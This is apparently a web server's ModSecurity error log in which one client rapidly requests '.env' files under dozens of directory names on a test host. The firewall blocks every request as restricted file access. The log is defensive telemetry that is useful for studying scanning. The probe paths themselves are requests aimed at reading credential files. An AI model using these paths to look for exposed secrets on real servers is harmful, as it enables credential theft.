[Mon Jul 28 20:46:14.483537 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOgAAAAk&quot;]
[Mon Jul 28 20:46:14.483733 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOgAAAAk&quot;]
[Mon Jul 28 20:46:14.506044 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /msks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOwAAAAk&quot;]
[Mon Jul 28 20:46:14.506248 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOwAAAAk&quot;]
[Mon Jul 28 20:46:14.506429 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOwAAAAk&quot;]
[Mon Jul 28 20:46:14.528748 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /munki_repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePAAAAAk&quot;]
[Mon Jul 28 20:46:14.529031 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePAAAAAk&quot;]
[Mon Jul 28 20:46:14.529218 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePAAAAAk&quot;]
[Mon Jul 28 20:46:14.551319 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /music/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePQAAAAk&quot;]
[Mon Jul 28 20:46:14.551516 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePQAAAAk&quot;]
[Mon Jul 28 20:46:14.551686 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePQAAAAk&quot;]
[Mon Jul 28 20:46:14.573907 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myrentals.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePgAAAAk&quot;]
[Mon Jul 28 20:46:14.574113 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePgAAAAk&quot;]
[Mon Jul 28 20:46:14.574277 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwuePgAAAAk&quot;]
[Mon Jul 28 20:46:14.619378 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /name/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQAAAAAk&quot;]
[Mon Jul 28 20:46:14.619567 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQAAAAAk&quot;]
[Mon Jul 28 20:46:14.619720 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQAAAAAk&quot;]
[Mon Jul 28 20:46:14.642154 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQQAAAAk&quot;]
[Mon Jul 28 20:46:14.642384 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQQAAAAk&quot;]
[Mon Jul 28 20:46:14.642551 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQQAAAAk&quot;]
[Mon Jul 28 20:46:14.688033 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new-js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQwAAAAk&quot;]
[Mon Jul 28 20:46:14.688245 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQwAAAAk&quot;]
[Mon Jul 28 20:46:14.688426 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueQwAAAAk&quot;]
[Mon Jul 28 20:46:14.734270 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /news-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRQAAAAk&quot;]
[Mon Jul 28 20:46:14.734523 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRQAAAAk&quot;]
[Mon Jul 28 20:46:14.734696 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRQAAAAk&quot;]
[Mon Jul 28 20:46:14.757100 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /next/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRgAAAAk&quot;]
[Mon Jul 28 20:46:14.757334 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRgAAAAk&quot;]
[Mon Jul 28 20:46:14.757509 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRgAAAAk&quot;]
[Mon Jul 28 20:46:14.797188 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRwAAAAk&quot;]
[Mon Jul 28 20:46:14.797436 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRwAAAAk&quot;]
[Mon Jul 28 20:46:14.797647 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueRwAAAAk&quot;]
[Mon Jul 28 20:46:14.820124 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /niffler-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSAAAAAk&quot;]
